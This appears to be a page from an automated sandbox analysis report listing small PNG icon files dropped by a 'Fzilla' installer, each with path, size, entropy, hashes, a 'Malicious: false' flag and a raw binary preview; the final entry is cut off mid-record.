C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-4AK1A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	517
Entropy (8bit):	7.411552387975486
Encrypted:	false
SSDEEP:	12:6v/7iK0FAIt0qc+nduoYtRTvkm0PJo/vZWUQUvE693b2Hc:DHtG3oYttkm0PJonZ0Uc69L28
MD5:	23C5C91CB1648C404F308D89F5390CA5
SHA1:	D5AFA23A94EC4DF4EDF150AB38D364AD14283AE4
SHA-256:	798D544BF4999058189B7EC2B848ADBCEE3D8A407AC8E1322B3079C995E82773
SHA-512:	9EC93033DE14B11E70710BE2CC71E6C90A35B0D179C797DBE88C55FE93D58252778D435D5A42D1CEBC223ECBF423647A8E687224E94DB5D424A552F4444337B9
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b.....`....J@....F..P8.m....EC0.m..-..`......z..\|u....1PK4_b....b.71Ck.J"c..ODH.x..).C.Q.R-.." ...pX...-....h/.9 ..Y.a!...2........U......z..6..%.......oo...C.vC.E.@.nqEL.8.....Y..;#..+.V.1m..[........F.i......&. ...S.B..K.......b.f.....fY..,)..7....%!M.?."VC.....1........!...XDF.I.@.....N\|C..l..".a<[.............]Y.GZ...%.]..P.?r@..J..c.v.....A.I1\|.)&.!.m.....[%/....$Q...^.N.^............Q.f._.P......._.....(..5.....Yo.1..r.S.0....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-5GIN0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1019
Entropy (8bit):	7.6875539559992125
Encrypted:	false
SSDEEP:	24:TAmVfqplE/m0mW8jaJb21+Z8QBqxTuhzbD1:THVfc6/9mW8jDjV8l
MD5:	B993FFA6DC32E0B71FCC7090848FD8F3
SHA1:	D7794906F8FEDBF30C9D4C12890E8E970ADDD42E
SHA-256:	4BED7D2814E00835D8B5F8474153E0D6A0F3C4A925D2A4246C1B1D08F7A22F41
SHA-512:	BE68D78129FDCF9012B60A14B5C15F51F4C705663D00DCDA2D530A127EC7D82C2837FBF8EC0732FEA1DAF60D6FE69E439308195A8B72A08BB14265219CC145A0
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b .......$....R\F.RP..B.gk.6...1k.m...3.....t....\|..\|..C..a........"..m...w:.Y....5D.!%.....N.q..,..k.j5.D"y^.....K. ..G<.....U..}}.]..R.Ekk.....y...I...q.......^.v.H$..r....o.].....%%%G....GEE.8w..P(...Q.....agg.K......ZPb.......=...G).Q..J...fh1++++AA....J.===.........'''dff..........D..999+........N\\............ppp..+W .J.............1......MD{{;z{{...u...........c\|\|....w.K1..KMM...u.....Z......nvVH@..@FF..XZZb..r......6$$$h.\.& ...Fs./ S..`B.B..Q]].\|\C...@."........2.T...(.....%...D..o.H...c..0.\|.a\|....}.?.....!...@.v..\|..y.....!)T........`.u.!C<.t....<.Y.#.#<.$.!..?..w.?..o...@..v?.....m..J....1c...%....\|+}.".K........M...............".C.....+U.?...?........n...U..+.@^.q...p....l.4P.....DGE_.hii...[...x..}...7.\|...?.,.[........ED!#/7.......R.d....,-....b.F....f`6.....^.q....-`bbJ...}%.b1x<....0::.y..J..m.............o...4iY#.....]SS..`.....................!IJJb.......`......E...Z..o.....Q.._

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-81IMQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1409
Entropy (8bit):	7.812039674614879
Encrypted:	false
SSDEEP:	24:NyBSSazbW1TjJyfhQ846KWVIaY/8AgOjYjWysITWfhVBPBV5WlurV+f8a:CSTbW1T9yJrcWVINgMYjWysITcVBPb0x
MD5:	E9E71E1953732D927B5EDC3122B72452
SHA1:	DC6EB44AAFFA6A96BD5B5FC702F8A02918F11332
SHA-256:	3D1B47A135C990799040B66D9CFB1305A0C93ED5361B24DD0B9DCEB2AE7B2FD4
SHA-512:	7CFBAC3F807338B55E3EA01DCBF06FDC104516A60B651FCE81522F785DCA5393EC31AD3815B1C4171709753A46131BF871218AF29A2DAD96200AF136A974808A
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....HIDATx...iL.w...f..H....i..d^.\t..<. ...R(.R.....T..;..J.G[J/,.K\.t.6uF.e....8u.1J..b...o..a.ZtO.$.........7.....b.J^..x's..{.6.....\R....@R...:.v...e...._]...-. .$..FrZ...`......M..."B.W.P..}.>.Y..w....,lH....]...d....MBtb8....(...Z....=Q.cW..%rH....4P..Qi4.(.Hje.W.+...3.O...%...J..s....iy.......[..;b..Q..DP......e.....C...99Y....b...^4.....K.....3...W.;x.-....HARJ6,...../..:O!..M..;.).....~t..w.A`....j..r..za..a...A...;..[.7...K.&r.G.EO.n........L-.......m..p..n.q....B..f.V$n@...... 9...._#.H..`..`.F...`.D./..L$...j.P..!..&.q.N..."/.WDAI....b..L...H...B..<...F.p...I.Hh...X...g.'G....M.u.P.,(.......[".]T..P..#.+...H!..F.rH.Z...v.=..Z6....y..TH...#.......].[...S...[<_Q...../..nwB.....................:.....M&.u&.M....q.G<....)...0....k...."8/..7h.V..j.....h.v.Ww...!.~(F.y.tz.3.........q+.?.....:54.......}.n....9...s.>kA..c.d2.t....I.J..p1..0..t...6.....{>.C.p9.O..+.s!..Gt..\..`......^..^.....9.....=

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-93V56.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	314
Entropy (8bit):	7.034055541396177
Encrypted:	false
SSDEEP:	6:6v/lhPKqkksBY2FytRnDKE/rAfkX31mp0SPJZo2CRs6dGrTu1edpkv1bp:6v/7ilksBY3L7/Mf3BJSs6aT3Pkd1
MD5:	52AB93798B119CA20478CBE97A6B85C3
SHA1:	F2189C258383B0479D798448F220E6859F556FBC
SHA-256:	4A266A0EAEF8540016907B4728084CB0877B93D593BA5DEA6F514680760E7108
SHA-512:	63AC98211859CFD58A63B7BD158BBF371030914BB386E35738C189313A77E554BF12EDDAFF15A25318DB38D878175FC6FAA4FED23C18108F4F3AAC371CF1F2E5
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...%PD...a.;N...gp'a.w....[..*.H7........O.;....\|...:.F....Wx..`Y..<.....K Nl..^.qcM..r..6../.xi_.....f..O.8p.7..c<Al..[b.ba........)B.X......':(Pkx...s.+.!. ..8.A.z..#1@.qZ.f..._.I..Q.E/z0.....M......O.LAp...\c.......cR..o....>0.i.j.bY![XD.../.O..Q.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-975K4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	858
Entropy (8bit):	7.712683125490113
Encrypted:	false
SSDEEP:	24:eXyfaaVJigfIv1jR9xYqMP5AEDprlpsZHHewJ5:KaVJivjRTMP5/rlqZn75
MD5:	53A60FFF53A63577F011C5BA43C92D5E
SHA1:	F9869D533F81E605DF33F1093BC4FD915F5B4EAB
SHA-256:	91F02970471A42264D0C1BF9854FE48C5A3BF0DD787213F211ECB685ACC091EF
SHA-512:	6EFA863D27B55AB17C46342BE17D42947A8C8577526D32C2929F8268A2779A68E9186DE4456C4876135BF012FBCEE3E553CC75FB9CFAB9ACB38D6D066E35790D
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....!IDATx....uG...7.m.u.....Q...m.mP....l...kg.N...N..3k..?.1.VI.#...b..'?..h..F...%%...N<.a0E.#.. .fHu8.;..#2Q...&..:.w..3........}..+.....1.....)....qh>...Xm."..9..+......%M.....6.k(\.`S..O.......{.x^...=r..0.....Pp.y.. 9f9.WX?.x9......$$D .c.......,5...h/.b.............\...W....!H....&\|h>..?...2.....}>H........4p.....].o...Y.A1..@..N9.S._.s....O...z.W$M......j.}w^<+....!..\|.C/>$.....0M.+.6.\w.$W..x.r..../.......`..H...........?\e9RK...G..9G..3Ua..5.Z\|.D..TO#..N8......Fq.L.?..4.< .....~.........D...K.(n.f^\b....S.\|.>...fx.be........Ju....3..8kB.....Ca..&.v.J..6..C...+t.t]t...1.....8.....}.61..+...[...b-S...6b#.t.....0...5....Em,.`..#^q.x..7.-.S.h.....]..b.V2].!.^2..9J....:....Se...8..P..D.L.F...3.kCb.H..l..F./l..7...4..'o........yi.^'.*.....w..+.K!Z"....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-BFRK4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	432
Entropy (8bit):	7.22488705000766
Encrypted:	false
SSDEEP:	12:6v/7ig8yrgCb60gl+QkwHv1N8GVv+5uHIqrHHMAm:Oh600Okv1NvVI0Mp
MD5:	B4AAFD8D37E7829359F93D87A5943790
SHA1:	3B94D7B56A6E8348EE7CA04A5806B58F371D4EFD
SHA-256:	25D72CC3F67CEAE3E4761CF157333B3A856323C3869CCE90F6C19F0C5C65CB19
SHA-512:	D3DB2EC779BD8B552D3CD6EE30BE762C4D83C081DBB0373B2B0ECF64C4DAE7A1F55EF3DD714A35585A2F2EBDB8A432B6C90FE7F88FB89875A3DD12092E1EEDCB
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....wIDATx.b ...Q. ..T.....?.l+.6....moi..8?......uW..\|.c.)..g.._0....k-.>M?....,.<Z..s......N. &..Z..k"D.<@.<X...x7.0i.Fo.z.....o..... ...........]_.6.6.....;(\.._.....:..f.W..M.A...Wi..>@..X..P.....C.l.5j.t...!nP..r..+...U.&..5..K-x7j.......wJ.r.q..S.S......u.....?.._3...4...s$e..*..>........s`."m.....@..v....Q.....v@<...@,.K.]..J9H[q........`'....ck...F.(...l..........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-CH1C7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	951
Entropy (8bit):	7.708867626048922
Encrypted:	false
SSDEEP:	24:hHqJpESIPRed57dh0TVmrVIiiwyb7hhMwdzNMJi5LfGto15:hHoESyRQ572VFO8dOJij7
MD5:	56724AEAD4EF4DC66C207F27D1E18F6D
SHA1:	30A6DCEC8A26F0A1F1AD339D3B5519B4963031F9
SHA-256:	C16895993B6319A6C38A607CAEA1CB095344AC52F59A054BF6B08186F9C8B422
SHA-512:	AC20B9A044D60FC4D11E67585268F7945BFCB1542608ECE411161FDD2B3DD2AC17FA26C8CA1B5BE7DE4FB2CAD252B1A120C5B531B5909F6ECFAD58AAE906F44E
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....~IDATx.b .....R.....,..Ea.c....bl.Z.m..m...zw.....\|.t.W.{O...Y$.....\._.?..Y.MS7.'.2I.$SfH. [..y.A.0...Z.^..Fm.U..U..={..jt. .....:.n...].v_4j....w.........n..t..9.S.N.].t1....q.....?!..( ...\~....)22.....]....j...o:v.d....G....#.:t.....t......~_.....:?....t..8.vFc...QQf.........w.C...o..G...Gbb"AAA..=..Y.....jC....e...7o.....`4.9s..=.Mc.5h_\|\|\|.......F.P.Eg..#.hCrrr(*"??.$%%%TWWc6..L&.eee..V5.........g..#8...r.X.B..rn.\|}}...X,..l......e.....V.p....z.f.U...jmx....;.$...x.p<.........`\|..................... .5...pV-88.\..V..X...._.....xbH1%.5.d.4$@n+Hy.2>.O!...y..........._..O..e....u<.z.........P......@T.'..Mp.......p.._.h.2.T.5e.3S#..^.e..<>.....1..U..i.........\&.&t.v`..G..r...k.aN9....t.l...5........%.5.....p.J+...}+xg..v.:...z.k.p...Y...y..Lk4..j..p.v...x...Vm.......t..@..(....dff.... .Att4............6._. .q......,.ef#.+.-..Q0.....fT......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-G0NPM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	438
Entropy (8bit):	7.335543461016686
Encrypted:	false
SSDEEP:	12:6v/7GdfJvCPtzDruIbyI2+wAHNkssFBpY/YrUqM/mTFz5wcfjXR3cVz:fdBC1zDrtbyUOsipYQ4qM/ezS4l3cVz
MD5:	A88423CF7C371E66A49336A0874792AC
SHA1:	5B9F81D13B5E60081ADF5D8C72CBE3EA0BDEE91F
SHA-256:	0153D55F130FE4F8A70CB103875E4D73A7C132E20A573FE759E55A934C5A063E
SHA-512:	FC62896E91348896931CE7E2B212EB78AC2CFD1AEAA88D0E9AC75C068437DFB4819F8B09133E59B90FD2A0B2EF65CCD9BD45A7F8C83AE8386297F620B98266D9
Malicious:	false
Preview:	.PNG........IHDR... ... ......s.....}IDATx..;K.A...Ql,.D.!....Moa#.....Q!..4"QEQ0.%A......j.N.. .....gMd......9..\.\|..J-..h...N}..G)M....@3.C..9.}.c..=...o....T$.E ...x.X.u.......LOm.}.........1U.4Vf"...#.KD.(..)U.."~\|...7.{W.d.@.qh`..Y...UVS.....90.....?.`.>....6...(...T..!....2\. ....e.....N.. ..k.I.PEp.o..f...........a....KR.... .....oQK.6.<\|....p....4...q.-...}.k.P+......b...N[tI.T..\p....&y..RK.......G......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-HUPGE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1259
Entropy (8bit):	7.728629961336813
Encrypted:	false
SSDEEP:	24:547IUU7CqNnGa8tW/DCbBWInq/Nv3S8lDNgbIfHU1wIDH+Cg:5kqNGa8tAWg5S8JLHieCg
MD5:	AFCA2ECBF5BADA1EB0233288A1B4E8BD
SHA1:	4486FD1B95626E82A14A44D4AD17374C71908FE9
SHA-256:	4B8BA4D9F9CEA5AE61E705FE45DFE476AB8BB01C842325B7161A02CE29D401D3
SHA-512:	9DD113EDCC28FCD0793AAFF2078384A83002FBCCF5AC31417FE25AEE1CD6102EA1139D3827C7B992DDF4092368F0A60B3B149DB8FC4EA104650B11D4884893CD
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...C.dI...m.m...m=.1Vc.l.f.j.Z.m..X.nUO\|_.+.'.L...h.!....P..".Y..z.O6......%.....@...6.g2.8F...r... ...yyy(//GQQQ.]VV...h(.J...$....V.a..P\\._.......[..ZY....v..YYY(,,D]].jkkQSS....D...?br..d.... ;;.,mCC...t.l.. 33.Y ....................kd..U...e...N.bcc....H...-n...e......V..PR...........zq..u..y....322PRR.a..F.4&&.IIIHNNFzz:...X...J....@4....v...D........p..].t:..DO......d(9Y..B./..o.N..[...O...\|..u(...S.5k.xG...{.....J......'N..t.<.=....oC..l6.b..B........<.1(...?..A....?.w-\|..MPw........h.6i.$<.....k." ...._.c.........N'......B...',,.....(--.......r..d`...@...<..........<......./]........i...{y."\|l.....c.a.....Q.F..BP6)..?..A'.D..w..?....O..........=.T+A..).._?p...z........>\|..\|.....QQQ....3....q7b...\..5.Z..>..cp.q.......pR.K..a..Pk.p.].m&^..<...C.}y..[v/x......AN.>...9...{..!CD6Z....1]...V....e!+_.}zB..5.KCV.(............k..........{:22....\|f...3 .o....Gp.h...... --...ir.......e

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-I6HOR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1278
Entropy (8bit):	7.802476767974719
Encrypted:	false
SSDEEP:	24:BaxDSWJhog8pm555MpvcpaTd1FRPzlWFNqfeUpQMKQLi3L2tN9NlitzPSDP:o9SUhoE55MpkajhkN4eUpLLE2X9Nl57
MD5:	4C78D67A172724938B7912CF0243F560
SHA1:	589F829DA203349EA89CB587CCA504DD8FBD766E
SHA-256:	4BAA62D7F150CEEBE6FCFCDC5723AD866FBD14F8F9812A6BD6F4D791627B020D
SHA-512:	3A9F7489FD2EBA90837977823EF89189C007FC1B4F28FB1F372BED49C90E23981F331BA41F73477E72B8EBCFD907C65DEBAFE1EEBA1767562F0C8B6049299AC0
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx......Y........]m#.N..m...Y...Faq..;[.....'..>../s...i.f...\.sF....&<6d........0G.<.......1..O..A......%..&O....I.p.!\..D:'.1\|!.....cn..........D.a.0yb4........CXTL...(.ME\D8......._O......k...!33.Y...a....^<..%...'....MsA.a..g.F..M.....d.......0a.7f.b.g.B$.S8.b".!...k.~.(..j3.T.6`.L..w.:....&.)..0....<...1\.@.>.a.N.. .o.F...Clt0.Ba2a-..a;....&=..P).....M.W....4x{...........p....O3x...`_?..y!S(B.b.a...v....d...%e..J.+P[W..\.Qq.8A.8.&..T.o..}..F'....B........./W.N..l/.{..Y.....r....._x,\|.c......<xxy.d.{..m!......y..0....$.B..I.7:....-...:.j.j.Q..^..^..Q....F$..">&..{=..oR.v..N.91.!......?^.....{O..P&.m...hA.A..S).......8.....t.34?.P7Nv.X.0....G+.Z..Ji=B.....d..p.]..c=...2[.0{.l%0.BOCS[Y......&.`..p.&b.d.`.a..x.....G.D./.B$d.....t7..'..h...,Q.P/_.n..5n.q..}8..b..3..T\Ns.N.E......k.3..ns.....t6...a...X.f.......L[.....c...`...hO@?....1Y(..{2..p.].=Y.d.?.5....x.....T......%./S.\|.H.z..TO..Wi(VO..."9...v.x

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-L8RCQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1479
Entropy (8bit):	7.821774226336037
Encrypted:	false
SSDEEP:	24:p2orQtPB43obzrejZQIlD7LJ3O07j9KqbKKOv/wg2/P2ZWaXeIllqQ7AF8hjvZhf:p2wQtXe53O+9grJ2/fPQ8F8nhKxJkn
MD5:	2A8B9ACC913021EDDFBDC2BB8C3B62A0
SHA1:	651DAECC36A6AB7ABD04DFE32C4BD05A5FE3BF93
SHA-256:	DA884EB12ECC8C7A4E1E1DE0896BB2C017E991EB675325AE5EC147D7AA20C975
SHA-512:	4A17EEE392C2096FF93BE3B076C44982FFFDE7491DCB415DF99E7EBE3083ACE7E21BE489BC439515E52C53D28BEDC339461066DC5F06FFDC6D330328550B3108
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....+].......V.k.w..m..el.y.q..c....V..j.]....wu.t....%.[.....T..c..W+hll..........7.._]]..W....+.f]]..........az{{....^..g.$p...&''..N.u+H%.7nZ@......e<..q.l.^..D".\@...FGGI&.d2.-aY........M.HsF"......c.:...>.)..}4.%....\.]!..p7,`^.).)\Z!...cA..(.,..z..w.+...\|mm..%T$..o.....I.R~W.E.h....&..."*../p....a..$.$......\N$.@^...4<..p.=.......LM.316....ccc...J...368.3.L..p\mc..a.(.b.pW.X..pe...iU...'.S!B.....lH.\H.5.9...t.....9..(x6..D..-........px.1I\|~X.Ll^..Oc(..:.........@.....r..p.....i...<.{......T.N. ...T:C.4..fr.......g<...M.'..(.W..;.....w..!.Px)..G.}...0.....F4].i.z..y+<.%.....t..upC.G8ik!...=Jb....M...0.$......R...,G'L..@....>.T.-...2.....' SQ.#.D.....I@a.'o..r1R._.r.........y...@pr.M...y..{;...L...O......DGE.2.\G....q_`K.04grC..w..vy..Mf....~x..H.4....{..)OBo....4........o....y....y&fM.....).3...sx..9...........mP...n..]L..Y.O.e....(.uh.%..+..>.{z.8.01#.%...:........w.@m}.).. +...W(.%.8.0t.I3...H

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-N9GE0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1237
Entropy (8bit):	7.69171762371757
Encrypted:	false
SSDEEP:	24:sEFz6QoBXyMbmF0NPL/hpEt3v/S96qXV6rDHDzrlJVi8goX:t96lBXFmIbhat3v/S9LgPhbiVY
MD5:	96A2AB487D235858753561E2096C8746
SHA1:	A0F311EE3C53B034978B7C300A1823073134CAB9
SHA-256:	7FEA394F048495CF8AF39CB8E4755BDD809B83396E3120914CB528B51A2925D8
SHA-512:	5C4D91A97D112521E4B15FEDBBF5B3B1990085506203343F6A8715302280BD33E67CF126EA0B428157B431BA70EA283611C3EFEBBA93A909F0C0499FBD2ABD9B
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b...{....<`c....c....;.\..?..m.Y.m......9..%.......3h...K....L&..t:R..R.d..`..4.W.....z...'777rqq.......f..A..B.....g...!.....#GGGD...O....?...........N.eee......].....H............e..:..Z..999...@.......6O6@rr2%%%QQQ.....6D.@JJ......:..A(dt.7..xg...W..,11....."............0.Cvvv...;.......E...g..j..A.0...&.....\|DFFRDD......3i4...U...u.b......+Waa!..v...ENNN......h.e.......1.9....7n......\|EGG....Ba.........%..._....;...i.Aaaa...?..5....1.......Z.b...W.^.w..6u.T....E.#G.........R..(&&Ft...KPpp.x... \|..._~.E..!0..j.<.._3g-[.d5.a..h.]....A.5....j.......>}.$.....Y.~.(??.5.l......[.....k.....#d.\.z.9.8p ZL.x#G.d..;..^........;.....'. .......C...........~..W.g.y...p.m%......x..Z...}..f.9H.R...EX.~...A...b.c. %.HKK#...&......s....^.j...baa..a.&Mh....kW...y.p..K......:t...Z.&w;.3U.....[._~.\|..`p...\|.;.H.&M.L.q...{8/H.f....gO....;.{r"..5M...5...=#...3..A.w.@z..19..$G2\|p .*...a....$_K..F7j.>0..8..G...4d...

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-NOGDC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	323
Entropy (8bit):	6.930881261923216
Encrypted:	false
SSDEEP:	6:6v/lhPKq0yAsdsKrZqmHK7tSDenLiHO1DBtFVEF9ebFAfklLvuJ0aVysV7llVp:6v/7iOaKjHK7t1nt1LM9ehhu2av
MD5:	77350FB05779C6B1AF43FA9836C5ACC0
SHA1:	A76FE4E856F57F6211FDAE8CDC3DEF1740246A02
SHA-256:	54FE6596F5997C99501B0BB83959E25127D2A9AE39CBDD57C9AABC3527915249
SHA-512:	838143D02BBA889D0B5D1346AB11293868177E6581A383A0E92117CA72DA992C33328D53FD443B7533F49F1BEA47DDB7EA778908FE3E5619AA4A7296E58D9FAD
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.c..`...Q0..6....k.x%...b)z;.?.....9@c....L....8@.I....3....%.....9......@..5...E..rg...1?./ES.......6.....cH..@...Z+JC..d...Z. ......gH..;V.a.'...2<....,.b.3...x....9.X..yq`.... N..y.`....8`!....o.0.....7....5k%)....Z.].8`9...~H9....p......<*..lv..".....\....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-PCVNG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	830
Entropy (8bit):	7.6770187407004755
Encrypted:	false
SSDEEP:	12:6v/7iojUwWJVJX/Q0+sZgnqlIbga1UsEw5FErKGTp0o7R9+2/VDgdLShLWaVxgu3:0uJjh/KbgeUTwHuTp0oO2sgZVX9SGMKl
MD5:	3426E7498D09DD130EB4C934C2BDECAE
SHA1:	BD246E54DB9BC6E6A638EFE8C0B1A0CD78A208A8
SHA-256:	13739929B7894139F62D67D807771C4221495AF1217BECAEF269074B2635051E
SHA-512:	761E79BB2AD400B571BA6DCC4FCCC48D4A6F211D2EB4305B1C906347CF8986006501B3171DE1CCBF12542EADD8C2425828D0D6A4B2F23540B15FDD402980F18F
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....5g....l.Xe..6.wpl.k..qm#nl.q."....Y&.....W.....8...........(.>...........~%........w......~!.J.....2...6...j.$.J5j.>)) .N3.....q.a...r.....n1..i..............K.x?.f.z....p.y>n.,..'/.C.......b.x\..`...vK......i.....W....\|\{^..w._B.w.}?.7.j...P._..X..GF@.......f..D._H1.\y....UxP..G/p.T.[...d.......Ualb.......C$...`..j..js.h.C.f.o..f......'-....q..?.@.......!T74..S.Ui.(5..m.Q..K...gX.Y..4hP.Q..c.5.3X._Y...Z.V7.....^:%.^....\|......nE...M.^.....3D .,......:....c/......X,.P(......y..st"VVV...,~..d...K.....5....l6.j..G...q?....Ka..#`.D"...N.....XXX.7.z...p8,^....N...%....-,..m.P....b.....+.z.T..p.O..P\.nPT..Q......T#.....l.XZZ...$....78.E.. .&......V....0o..h.c4.kt.l'F2..:::...Bn..........:...l....."k.....+..AQ..t<.....kPw.F...s..sZ:.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-PNTG0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	261
Entropy (8bit):	6.739556990779287
Encrypted:	false
SSDEEP:	6:6v/lhPLGsesANvYMC7DtU5BSjnCbDp5U0xp27OAypv8tVp:6v/7u85tlnCbDpXxkCL8t7
MD5:	5D8B8946A30BB2C937574BEEA0099799
SHA1:	3436DDF9664B9317043EE3EFA333800B4A8FF06E
SHA-256:	25069280D25BB2591BEACEEB66479CCE2F36C718313AF8930CFDE0BB64DF8A0D
SHA-512:	285D633CC6567008209BCFC54B382777B8861250F87530E438D323086D0D130064176648B0CAA5543A4CF0131C6373ABEC4467B44B7851019C20C8F307FF58C9
Malicious:	false
Preview:	.PNG........IHDR... ... ......s......IDATx.c`..X@ia.<.....v......c.n<.\'..=M.......W.0 sW..(.0....h..........&..e.....{..JE.,.O.......Ud%1A.....C.`@F.T..._....Kf.....J.'...o...\Q.Z......Fr..74...k.O.......X..h@'%....-..0A.x.j..h9=.h..3...;..s....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-POPJ0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	572
Entropy (8bit):	7.4861268211214345
Encrypted:	false
SSDEEP:	12:6v/7iktlApFqfuEuYQ+9uCiZjyvKZuHjUQjCENvm3IPYZbbVp2jVc:QlAIu9L+piZKNlEP4Vc
MD5:	21723D62752E3F327181698FE3B6B33C
SHA1:	A3981258EBD12F99324B0A602C0F4DC0F023920A
SHA-256:	9D0690CB60E94BB6ECA6334356B68B1267384CB1B6A88248AA7B46A54B34C733
SHA-512:	BDA931988329776CC9BEE36D2481C6D9402E30CF3C9B2E37591A0F205A7350993C3BFAEF00D816D3E005960A9F4E84D380E8CE49616EA860CF3F92332D36E61B
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..C.A.E;.2..m..x~cl.m.m.6_Vw.\|....I...&M.>:.^.oI..M..=I...xf .a$......8G.$&.m\|.....14B............;....pw.;.p..!.C.K./..].@.)...7#[...#_..../..{.&J..m[.^..8W....-....z._.........ATd0.z\.........F..3.YD$Q.7...K..=..h.>RDk0.m[.V..........~B..=...g....}..)U.6U.....\|....\...Y...&.1.u.}t$d..F.h..^...^....S...V&X+.<q....`@..lf.v.`..........\|...kg,P..B.j.l&S..mg..d=..ix.../..H.z.).f.u..\|.d/U...6...$...y........,..%W.j..g$...h...I.CkN@B....A.NN..^@......R1........F..D..(.I.&.........}.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-TEF2M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	598
Entropy (8bit):	7.537757732037882
Encrypted:	false
SSDEEP:	12:6v/7if3qTZx/dtbZqEIgdSBQOxKB61lmJDm64TfI7yQDBcMSsIMtSSpez:FOdtblvsBQ9B6XSmvTqHSKSSq
MD5:	DAB0B46E390CBC837F2A9E782DBB10B3
SHA1:	7AE0A5F2E1E13516942E2745929EFEE42B0AC8AC
SHA-256:	2FE8B33BBEF00E5B80A9BB7605062C27EAC25F252F14883147D5DA9F7E899F34
